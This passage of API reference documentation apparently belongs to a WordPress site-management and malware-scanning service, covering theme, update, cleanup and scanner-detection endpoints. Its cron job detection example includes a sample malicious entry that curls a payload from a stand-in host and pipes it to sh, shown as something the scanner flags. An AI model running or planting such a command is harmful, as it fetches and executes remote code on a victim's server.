- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `include_vulnerabilities` (query, optional, boolean) — Set to `true` to include optional vulnerability details for supported site plans.
- `sort` (query, optional, string) — Sort order for returned WordPress themes.
- `filters` (query, optional, object) — Filters applied to returned WordPress themes.

Successful responses:

- **200** — WordPress themes were returned.

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "last_sync_at": "2026-01-12T08:20:00Z",
      "wp": {
        "themes": [
          {
            "name": "Twenty Twenty-Four",
            "slug": "twentytwentyfour",
            "filename": "twentytwentyfour",
            "template": "twentytwentyfour",
            "current_version": "1.0",
            "latest_version": "1.1",
            "active": true,
            "update_available": true,
            "package_available": true,
            "locked": false,
            "active_child": false,
            "vulnerable": false
          }
        ]
      }
    },
    {
      "id": "0f3a1c7b2d4e6f8091a2b3c4d5e6f708",
      "last_sync_at": "2026-01-12T09:15:00Z",
      "wp": {
        "themes": [
          {
            "name": "Astra",
            "slug": "astra",
            "filename": "astra",
            "template": "astra",
            "current_version": "4.6.1",
            "latest_version": "4.6.1",
            "active": false,
            "update_available": false,
            "package_available": true,
            "locked": true,
            "active_child": false,
            "vulnerable": false
          }
        ]
      }
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Install themes

`POST /sites/wp/themes/install`  
Operation ID: `installSitesWpThemes`

Starts a background task to install WordPress.org themes on submitted
sites.

Use this when themes available from WordPress.org should be installed
on selected sites.

Submitted sites must be available to you.

A successful response returns the task created for theme installation.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "themes": [
        {
          "slug": "twentytwentyfour",
          "name": "Twenty Twenty-Four",
          "version": "1.1",
          "package": "https://downloads.wordpress.org/theme/twentytwentyfour.1.1.zip"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — Theme install task was created.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Upload themes

`POST /sites/wp/themes/upload`  
Operation ID: `uploadSitesWpThemes`

Uploads a theme ZIP file and starts a background task to install it on
submitted sites.

Use this when a theme should be installed from a ZIP package you upload.

The request must use `multipart/form-data`. Submitted sites must be
available to you. The uploaded file must be a theme ZIP archive no larger
than 50 MB.

A successful response returns the task created for theme upload.

Request body (required): `multipart/form-data`

Required fields: `sites`, `themes`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    }
  ],
  "themes": {
    "file": "theme.zip"
  }
}
```

Successful responses:

- **200** — Theme upload task was created.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Activate themes

`POST /sites/wp/themes/activate`  
Operation ID: `activateSitesWpThemes`

Starts a background task to activate installed themes on submitted
sites.

Use this when a theme should become active on selected sites.

Use `filename` values from the theme list. Each `filename` must belong
to a theme installed on the selected site. Submitted sites must be
available to you.

A successful response returns the task created for theme activation.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "themes": [
        {
          "filename": "twentytwentyfour"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — Theme activation task was created.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Delete themes

`POST /sites/wp/themes/delete`  
Operation ID: `deleteSitesWpThemes`

Starts a background task to delete installed themes from submitted
sites.

Use this when themes should be removed from selected sites.

Use `filename` values from the theme list. Each `filename` must belong
to a theme installed on the selected site. Submitted sites must be
available to you.

A successful response returns the task created for theme deletion.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "themes": [
        {
          "filename": "twentytwentyfour"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — Theme deletion task was created.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Lock theme updates

`POST /sites/wp/themes/lock`  
Operation ID: `lockSitesWpThemes`

Locks theme updates for installed themes on submitted sites.

Use this when specific themes should stay on their current version.

Use `filename` values from the theme list. Each `filename` must belong
to a theme installed on the selected site. Submitted sites must be
available to you.

A successful response returns the site IDs where theme updates were
locked.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "themes": [
        {
          "filename": "twentytwentyfour"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — Theme updates were locked for the submitted sites.

```json
{
  "lock": {
    "site_ids": [
      "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    ]
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Unlock theme updates

`POST /sites/wp/themes/unlock`  
Operation ID: `unlockSitesWpThemes`

Removes theme update locks from installed themes on submitted sites.

Use this when previously locked themes should be allowed to update
again.

Use `filename` values from the theme list. Each `filename` must belong
to a theme installed on the selected site. Submitted sites must be
available to you.

A successful response returns the site IDs where theme updates were
unlocked.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "themes": [
        {
          "filename": "twentytwentyfour"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — Theme updates were unlocked for the submitted sites.

```json
{
  "unlock": {
    "site_ids": [
      "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    ]
  }
}
```

Errors: 400, 401, 403, 422, 429

### WordPress Updates

#### List WordPress updates

`GET /sites/wp/updates`  
Operation ID: `listSitesWpUpdates`

Returns available WordPress updates for sites available to you. Each
site can include WordPress core, plugin, and theme update details when
matching updates exist.

Use this list to review available updates, compare installed and latest
versions, find plugin or theme `filename` values for update requests, or
filter by update type.

If `site_ids` is omitted, all sites available to you are included.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `type`
- Supported operators:
  - `in`: `type`
- Allowed `type` values: `core`, `plugin`, `theme`
- `filters[type:in][]` must be sent as an array
- Example: `filters[type:in][]=plugin&filters[type:in][]=theme`
- Omit `filters` to include all update types

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `id`, `last_sync_at`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `id,asc`
- Example: `sort=last_sync_at,desc`

A successful response returns a paginated list of available WordPress
updates by site.

Parameters:

- `site_ids` (query, optional, array<string>) — Site IDs to include. Omit this parameter to include all sites available to you.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned WordPress updates by site.
- `filters` (query, optional, object) — Filters applied to returned WordPress updates.

Successful responses:

- **200** — WordPress updates were returned.

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "last_sync_at": "2026-01-12T08:20:00Z",
      "wp": {
        "plugins": [
          {
            "name": "Akismet Anti-spam",
            "slug": "akismet",
            "filename": "akismet/akismet.php",
            "current_version": "5.3.1",
            "latest_version": "5.3.3",
            "update_available": true,
            "database": {
              "current_version": "1.0",
              "latest_version": "1.1",
              "update_required": false
            },
            "active": true,
            "network_wide": false,
            "package_available": true,
            "locked": false,
            "vulnerable": false,
            "malicious": false
          }
        ],
        "themes": [
          {
            "name": "Twenty Twenty-Four",
            "slug": "twentytwentyfour",
            "filename": "twentytwentyfour",
            "template": "twentytwentyfour",
            "current_version": "1.0",
            "latest_version": "1.1",
            "active": false,
            "update_available": true,
            "package_available": true,
            "locked": false,
            "active_child": false,
            "vulnerable": false
          }
        ],
        "core": {
          "current_version": "6.4.2",
          "latest_version": "6.4.3",
          "update_available": true,
          "locked": false
        }
      }
    },
    {
      "id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f",
      "last_sync_at": "2026-01-11T12:15:00Z",
      "wp": {
        "plugins": [],
        "themes": []
      }
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Start WordPress updates

`POST /sites/wp/updates/perform`  
Operation ID: `performSitesWpUpdates`

Starts a background task to apply selected WordPress core, plugin, or
theme updates on submitted sites.

Use this after listing updates when selected updates should be applied
to one or more sites.

Submitted sites must be available to you. Each submitted site must
include at least one update selection: `wordpress_core: true`,
`plugins`, or `themes`. Use plugin and theme `filename` values from the
updates list. Do not set both `backup` and `sandbox` to `true`.

A successful response returns the task created for WordPress updates.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "options": {
        "backup": true
      },
      "plugins": [
        {
          "filename": "akismet/akismet.php",
          "target_version": "5.3.3"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — WordPress update task was created.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

### Security Activation

#### Enable site security

`POST /sites/{site_id}/security/enable`  
Operation ID: `enableSiteSecurity`

Enables security scanning for the selected site.

Use this when the site should use security scanning. No request body is
required.

The site plan must support Security.

A successful response returns `security.enabled: true`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Security enabled successfully.

```json
{
  "security": {
    "enabled": true
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Disable site security

`POST /sites/{site_id}/security/disable`  
Operation ID: `disableSiteSecurity`

Disables security scanning for the selected site.

Use this when the site should stop using security scanning. No request
body is required.

A successful response returns `security.enabled: false`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Security disabled successfully.

```json
{
  "security": {
    "enabled": false
  }
}
```

Errors: 401, 403, 404, 429

### Cleanup

#### Check cleanup eligibility

`GET /sites/{site_id}/security/scanner/cleanup/eligibility`  
Operation ID: `checkSiteSecurityScannerCleanupEligibility`

Returns whether automatic malware cleanup can be started for one hacked
WordPress site.

Use this before starting cleanup to confirm whether the site is eligible
and whether a cleanup credit is required.

The site must be hacked, have security enabled, have a successful
malware scan snapshot ready, have file or database malware that can be
cleaned automatically, have no cleanup already in progress, and have
cleanup plan or credit access.

A successful response returns whether cleanup can be started and whether
a cleanup credit is required.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Cleanup can be started for the site.

```json
{
  "cleanup": {
    "eligible": true,
    "credit_required": false
  }
}
```

Errors: 401, 403, 404, 409, 422, 429

#### Start malware cleanup

`POST /sites/{site_id}/security/scanner/cleanup`  
Operation ID: `startSiteSecurityScannerCleanup`

Starts automatic malware cleanup for the selected hacked site.

Use this when the site is eligible for automatic cleanup and cleanup
should start.

The request body uses the `cleanup` wrapper.
`cleanup.connection.method` is required and accepts `http` or `ftp`.
FTP cleanup requires `cleanup.connection.credentials.server` and
`cleanup.connection.credentials.database`. HTTP Basic Auth credentials
are optional and can be sent for both HTTP and FTP cleanup methods.

Omitted post-cleanup booleans default to `false`.

A successful response returns the cleanup task. Use the returned task ID
with Tasks to track progress.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `cleanup`

```json
{
  "cleanup": {
    "connection": {
      "method": "http"
    }
  }
}
```

Successful responses:

- **201** — Cleanup task created successfully.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "initializing",
    "created_at": "2026-02-21T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 409, 422, 429

### Detection Summary

#### Show scanner detection summary

`GET /sites/{site_id}/security/scanner/detections/summary`  
Operation ID: `showSiteSecurityScannerDetectionsSummary`

Returns counts of potentially malicious files, scripts, plugins, cron
jobs, and redirections for the selected site.

Use this to compare counts by detection type and decide where review is
needed.

The response does not include individual detections. Use the related
detection lists to view affected file paths, script locations, plugin
metadata, cron job entries, and redirection destinations.

If `snapshot_id` is omitted, file, script, and cron job counts use the
latest completed scanner snapshot. Plugin and redirection counts always
use current detection data for the site, so `snapshot_id` does not
change them.

A successful response returns grouped detection counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Scanner snapshot ID returned in snapshot lists and details. When omitted, the latest completed scanner snapshot is used for file, script, and cron job counts.

Successful responses:

- **200** — Scanner detection summary returned successfully.

```json
{
  "detections": {
    "files": {
      "total": 12,
      "marked_safe": 2
    },
    "scripts": {
      "total": 4,
      "marked_safe": 1
    },
    "plugins": {
      "total": 1
    },
    "cron_jobs": {
      "total": 2,
      "marked_safe": 0
    },
    "redirections": {
      "total": 3,
      "marked_safe": 1
    }
  }
}
```

Errors: 401, 403, 404, 429

### File Detections

#### List file detections

`GET /sites/{site_id}/security/scanner/detections/files`  
Operation ID: `listSiteSecurityScannerDetectionFiles`

Returns file detections for the selected site. Each detection includes
an ID, affected file path, detection time, and whether it is marked safe.

Use this list to review affected file paths, filter detections by path
or safe status, and collect detection IDs for content review or safe
status changes.

If `snapshot_id` is omitted, the latest completed scanner snapshot is
used.

A successful response returns a paginated list of file detections.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `path`, `marked_safe`
- Supported operators:
  - `contains`: `path`
  - `eq`: `path`, `marked_safe`
- Boolean filters accept `true` or `false`
- Example: `filters[path:contains]=wp-content`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `detected_at`, `path`, `marked_safe`, `id`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `detected_at,desc`
- Example: `sort=detected_at,desc`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned file detections.
- `filters` (query, optional, object) — Filters applied to returned file detections.

Successful responses:

- **200** — File detections were returned.

```json
{
  "files": [
    {
      "id": "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM=",
      "path": "./wp-content/themes/example/functions.php",
      "detected_at": "2026-05-25T07:40:00Z",
      "marked_safe": false
    },
    {
      "id": "Ml8yMF9jMkZtWlM1d2FIQT1fYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmI=",
      "path": "./safe.php",
      "detected_at": "2026-05-24T07:40:00Z",
      "marked_safe": true
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 429

#### Show file detection content

`GET /sites/{site_id}/security/scanner/detections/files/{id}/content`  
Operation ID: `showSiteSecurityScannerDetectionFileContent`

Returns content for one detected file as a base64-encoded string.

Use this after listing file detections when a reviewer needs to inspect
the detected file. Decode `content` before displaying or saving it.

If `snapshot_id` is omitted, the latest completed scanner snapshot is
used.

A successful response returns base64-encoded file content.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `id` (path, required, string) — File detection ID returned by the list response.
- `snapshot_id` (query, optional, string) — Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.

Successful responses:

- **200** — File detection content was returned.

```json
{
  "content": "PD9waHAgZWNobyAnaGVsbG8nOyA/Pg=="
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Mark file detections as safe

`POST /sites/{site_id}/security/scanner/detections/files/safe`  
Operation ID: `markSiteSecurityScannerDetectionFilesSafe`

Marks one or more file detections as safe for your account.

Use this after reviewing file paths or content and confirming that the
selected files are expected.

Send file detection IDs returned by the list response. Duplicate IDs are
processed once. If `snapshot_id` is omitted, the latest completed scanner
snapshot is used. On success, a site sync starts so the updated review
state can be applied.

A successful response returns processed file detection IDs and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.

Request body (required): `application/json`

Required fields: `ids`

```json
{
  "ids": [
    "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM="
  ]
}
```

Successful responses:

- **200** — File detections were marked safe.

```json
{
  "safe": {
    "ids": [
      "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM="
    ],
    "errors": []
  },
  "meta": {
    "requested": 1,
    "succeeded": 1,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 429

#### Mark file detections as unsafe

`POST /sites/{site_id}/security/scanner/detections/files/unsafe`  
Operation ID: `markSiteSecurityScannerDetectionFilesUnsafe`

Marks one or more file detections as unsafe for your account.

Use this to reverse a previous safe marking when selected file
detections should be treated as unsafe again.

Send file detection IDs returned by the list response. Duplicate IDs are
processed once. If `snapshot_id` is omitted, the latest completed scanner
snapshot is used. On success, a site sync starts so the updated review
state can be applied.

A successful response returns processed file detection IDs and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.

Request body (required): `application/json`

Required fields: `ids`

```json
{
  "ids": [
    "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM="
  ]
}
```

Successful responses:

- **200** — File detections were marked unsafe.

```json
{
  "unsafe": {
    "ids": [
      "MTc0MzA3MzA2Nl85NjAyX0xpOTNjQzFqYjI1MFpXNTBMM1JvWlcxbGN5OWxkSE53TDJaMWJtTjBhVzl1Y3k1d2FIQT1fMGFhMzJkZTBlZjY2NjkxNzVkYTI2Zjg3YWE5M2MxOTM="
    ],
    "errors": []
  },
  "meta": {
    "requested": 1,
    "succeeded": 1,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 429

### Script Detections

#### List script detections

`GET /sites/{site_id}/security/scanner/detections/scripts`  
Operation ID: `listSiteSecurityScannerDetectionScripts`

Returns script detections for the selected site. Each detection includes
an ID, threat types, detection location, detection time, and whether it
is marked safe.

Use this list to review affected scripts, filter detections by threat
type, location, or safe status, and collect detection IDs for content
review or safe marking.

If `snapshot_id` is omitted, the latest completed scanner snapshot is
used.

A successful response returns a paginated list of script detections.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `threat_types`, `location.type`, `marked_safe`
- Supported operators:
  - `in`: `threat_types`
  - `eq`: `location.type`, `marked_safe`
- Boolean filters accept `true` or `false`
- Example: `filters[location.type:eq]=database`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `detected_at`, `id`, `marked_safe`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `detected_at,desc`
- Example: `sort=detected_at,desc`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned script detections.
- `filters` (query, optional, object) — Filters applied to returned script detections.

Successful responses:

- **200** — Script detections were returned.

```json
{
  "scripts": [
    {
      "id": "0aa32de0ef6669175da26f87aa93c193",
      "threat_types": [
        "injection"
      ],
      "location": {
        "type": "database",
        "table_name": "wp_options",
        "affected_rows": 2
      },
      "marked_safe": false,
      "detected_at": "2026-05-25T07:40:00Z"
    },
    {
      "id": "1bb32de0ef6669175da26f87aa93c194",
      "threat_types": [
        "redirection"
      ],
      "location": {
        "type": "homepage",
        "url": "https://example.com"
      },
      "marked_safe": true,
      "detected_at": "2026-05-24T07:40:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 429

#### Show script detection content

`GET /sites/{site_id}/security/scanner/detections/scripts/{id}/content`  
Operation ID: `showSiteSecurityScannerDetectionScriptContent`

Returns source content for one detected script as a base64-encoded
string.

Use this after listing script detections when a reviewer needs to inspect
the detected script. Decode `content` before displaying or saving it.

If `snapshot_id` is omitted, the latest completed scanner snapshot is
used.

A successful response returns base64-encoded script content.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `id` (path, required, string) — Script detection ID from the list response.
- `snapshot_id` (query, optional, string) — Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.

Successful responses:

- **200** — Script detection content was returned.

```json
{
  "content": "PHNjcmlwdD5hbGVydCgnbWFsaWNpb3VzJyk8L3NjcmlwdD4="
}
```

Errors: 401, 403, 404, 429

#### Mark script detections as safe

`POST /sites/{site_id}/security/scanner/detections/scripts/safe`  
Operation ID: `markSiteSecurityScannerDetectionScriptsSafe`

Marks one or more script detections as safe for your account.

Use this after reviewing script details or content and confirming that
the selected scripts are expected.

Send script detection IDs returned by the list response. Duplicate IDs
are processed once. If `snapshot_id` is omitted, the latest completed
scanner snapshot is used. On success, the response returns processed IDs
and counts.

A successful response returns processed script detection IDs and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.

Request body (required): `application/json`

Required fields: `ids`

```json
{
  "ids": [
    "0aa32de0ef6669175da26f87aa93c193"
  ]
}
```

Successful responses:

- **200** — Script detections were marked safe.

```json
{
  "safe": {
    "ids": [
      "0aa32de0ef6669175da26f87aa93c193"
    ],
    "errors": []
  },
  "meta": {
    "requested": 1,
    "succeeded": 1,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 429

### Plugin Detections

#### List plugin detections

`GET /sites/{site_id}/security/scanner/detections/plugins`  
Operation ID: `listSiteSecurityScannerDetectionPlugins`

Returns malicious plugin detections for the selected site. Each plugin
includes identity fields, version and database update metadata,
activation state, lock state, vulnerability state, package availability,
and detection time.

Use this list to review malicious installed plugins, filter detections
by plugin name, slug, detection time, or activation state, and decide
what plugin action is needed.

A successful response returns a paginated list of plugin detections.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `name`, `slug`, `detected_at`, `active`
- Supported operators:
  - `contains`: `name`, `slug`
  - `gte`: `detected_at`
  - `lte`: `detected_at`
  - `eq`: `active`
- Boolean filters accept `true` or `false`
- Use ISO 8601 timestamps for `detected_at` filters
- Example: `filters[name:contains]=Bad`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `detected_at`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `detected_at,desc`
- Example: `sort=detected_at,desc`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned plugin detections.
- `filters` (query, optional, object) — Filters applied to returned plugin detections.

Successful responses:

- **200** — Plugin detections were returned.

```json
{
  "plugins": [
    {
      "name": "Bad Plugin",
      "slug": "bad-plugin",
      "filename": "bad-plugin/bad-plugin.php",
      "current_version": "1.2.0",
      "latest_version": "1.3.0",
      "update_available": true,
      "database": {
        "current_version": "4.0.0",
        "latest_version": "5.0.0",
        "update_required": true
      },
      "active": true,
      "network_wide": false,
      "package_available": true,
      "locked": false,
      "vulnerable": true,
      "malicious": true,
      "detected_at": "2026-05-25T07:40:00Z"
    },
    {
      "name": "Another Plugin",
      "slug": "another-plugin",
      "filename": "another-plugin/main.php",
      "current_version": "2.0.0",
      "latest_version": "2.1.0",
      "update_available": false,
      "database": {
        "current_version": "1.0.0",
        "latest_version": "1.0.0",
        "update_required": false
      },
      "active": false,
      "network_wide": false,
      "package_available": false,
      "locked": false,
      "vulnerable": false,
      "malicious": true,
      "detected_at": "2026-05-24T07:40:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 429

### Cron Job Detections

#### List cron job detections

`GET /sites/{site_id}/security/scanner/detections/cron-jobs`  
Operation ID: `listSiteSecurityScannerDetectionCronJobs`

Returns cron job detections for the selected site. Each detection
includes the scheduled command content, detection ID, and whether it is
currently marked safe.

Use this list to review potentially malicious scheduled commands and
collect detection IDs for safe marking.

If `snapshot_id` is omitted, the latest completed scanner snapshot for
the site is used.

A successful response returns a paginated list of cron job detections.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `content`, `marked_safe`
- Supported operators:
  - `contains`: `content`
  - `eq`: `marked_safe`
- Boolean filters accept `true` or `false`
- Example: `filters[content:contains]=wp cron`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `filters` (query, optional, object) — Filters applied to returned cron job detections.

Successful responses:

- **200** — Cron job detections were returned.

```json
{
  "cron_jobs": [
    {
      "content": "*/5 * * * * curl https://bad.example/payload.sh | sh",
      "id": "0aa32de0ef6669175da26f87aa93c193",
      "marked_safe": false
    },
    {
      "content": "0 * * * * php /var/www/html/wp-content/scripts/expected-task.php",
      "id": "1bb32de0ef6669175da26f87aa93c194",
      "marked_safe": true
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 429

#### Mark cron job detections as safe

`POST /sites/{site_id}/security/scanner/detections/cron-jobs/safe`  
Operation ID: `markSiteSecurityScannerDetectionCronJobsSafe`

Marks one or more cron job detections as safe for your account.

Use this after reviewing the command content and confirming that the
selected cron jobs are expected.

Send cron job detection IDs returned by the list response. Duplicate IDs
are processed once. If `snapshot_id` is omitted, the latest completed
scanner snapshot for the site is used.

A successful response returns processed cron job detection IDs and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.

Request body (required): `application/json`

Required fields: `ids`

```json
{
  "ids": [
    "0aa32de0ef6669175da26f87aa93c193"
  ]
}
```

Successful responses:

- **200** — Cron job detections were marked safe.

```json
{
  "safe": {
    "ids": [
      "0aa32de0ef6669175da26f87aa93c193"
    ],
    "errors": []
  },
  "meta": {
    "requested": 1,
    "succeeded": 1,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 429

### Redirection Detections

#### List redirection detections

`GET /sites/{site_id}/security/scanner/detections/redirections`  
Operation ID: `listSiteSecurityScannerDetectionRedirections`

Returns redirection detections for the selected site. Each detection
includes the behavior type, source page, destination URL, safe status,
and detection time.

Use this list to review potentially malicious redirects or new-tab
destinations and decide which destination hosts are expected.

A successful response returns a paginated list of redirection detections.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `type`, `location`, `from`, `to`, `marked_safe`, `detected_at`
- Supported operators:
  - `eq`: `type`, `marked_safe`
  - `contains`: `location`, `from`, `to`
  - `gte`: `detected_at`
  - `lte`: `detected_at`
- Supported type values for matching: `same_tab`, `new_tab`
- Boolean filters accept `true` or `false`
- Use ISO 8601 timestamps for `detected_at` filters
- Example: `filters[to:contains]=malicious.example`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `type`, `location`, `from`, `to`, `detected_at`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `detected_at,desc`
- Example: `sort=detected_at,desc`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned redirection detections.
- `filters` (query, optional, object) — Filters applied to returned redirection detections.

Successful responses:

- **200** — Redirection detections were returned.

```json
{
  "redirections": [
    {
      "type": "same_tab",
      "location": "https://example.com",
      "from": "https://example.com",
